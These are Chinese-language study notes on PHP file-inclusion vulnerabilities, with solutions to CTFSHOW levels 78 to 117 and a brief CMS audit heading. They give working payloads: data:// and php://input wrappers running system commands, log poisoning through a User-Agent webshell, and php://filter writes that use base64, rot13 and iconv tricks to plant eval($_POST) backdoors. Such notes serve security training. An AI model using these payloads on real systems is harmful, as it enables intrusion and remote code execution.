知识点
1、解释-什么是文件包含
2、分类-本地LFI&远程RFI
3、利用-配合上传&日志&会话
4、利用-伪协议&编码&算法等
核心知识:
1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法-见下文
<!–#include file=”1.asp” –>
<!–#include file=”top.aspx” –>
<c:import url=”http://thief.one/1.jsp">
<jsp:include page=”head.jsp”/>
<%@ include file=”head.jsp”/>
<?php include(“test.php”)?>
3、各类脚本语言包含协议玩法
php伪协议:https://www.cnblogs.com/endust/p/11804767.html
思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时
案例
前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过
前置知识-原理&分类&探针&利用&修复
$file=$_GET['x'];
include($file);
//实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
//1.每个需要过滤的地方,进行一次过滤的编写
//2.每个需要过滤的地方,进行一次文件包含调用过滤函数
//1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发
//2.配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
//3.配合会话文件进行getshell
CTF应用-CTFSHOW-78关卡到117关卡
78
相关文章:https://segmentfault.com/a/1190000018991087
file协议需要知道文件的具体路径才可以使用
方法一:
利用php协议的input并在post传输控制语句执行
那么可以利用命令执行<?php system(‘ls’); ?>,查看当前目录的文件,发现存在flag
<?php system(‘tac flag.php’); ?>成功得到flag
方法二:
/?file=php://filter/read=convert.base64-encode/resource=flag.php得到base64数据流,再解密即可得到flag
方法三:
data协议
data://text/plain,<?php system(‘tac flag.php’); ?>
方法四:
远程包含
在自己的服务器上写下命令,然后再在题目界面访问自己服务器写下的内容
总结:
本地包含和远程包含具体形成原因由代码和环境配置文件决定
79
这一关过滤了php协议
方法一:
远程包含还是可以直接秒掉
方法二:
data协议
payload: ?file=data://text/plain,<?=system(“tac flag.*”);?>
这里要注意避免使用’php’这个字符,因为会被过滤,所以flag.php要用flag.*来替代
80
这关过滤了data和php,并且禁用了远程包含,外部不让访问了。
file zip等需要路径,但这题路径未知
Nginx默认日志路径:/var/log/nginx/access.log
尝试在UA头写入后门代码
<?php system(‘ls’); ?>先看一下有哪些文件
文件被改成了fl0g.php
访问fl0g.php,再重新打开日志文件,就可以看到flag
81
这题过滤了php,data,冒号,还是可以用日志包含的方法秒
82-86 session包含
文件包含:
本地包含:LFI local file include
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?
文件包含的三个利用点:
1、可以通过文件上传获取,上传的文件在服务器上
2、没有文件上传,借助日志写入(UA),session文件 写入
3、伪协议没有上传文件也能进行php代码执行
87
过滤php,data,冒号,点
方法一:利用base64
利用两次url编码绕过,因为它这里使用了urldecode的函数会进行一次解码,而且浏览器也会自动进行一次解码
payload:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=<?php @eval($_POST[a]);?>(后门代码进行base64编码)
这个在没有base的后门代码前面还要加上aa,这样在进行base编码的时候正好是27个字节,后面就不会出现=好使得在浏览器解析的时候出现歧义。
方法二:利用rot13
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz(‘gnp s*.cuc’);?>
88
这题过滤了很多符号,所以在使用base编码的时候也要注意不能出现这些符号
payload: <?php system(‘tac *.php’);echo 123;?>ad
这样base64后既没有+号,也没有=号,这样就不会被过滤
117
唯独没有过滤php的协议
使用到一种新的php算法
convert.iconv:一种过滤器,和使用iconv()函数处理流数据有等同作用
反转源代码
<?php
$result=iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pevela$(P_SO[T]a;)>?
CMS源码-XHCMS-代码审计&日志&绕过
长度限制绕过,低版本才可以用这个漏洞,高版本没用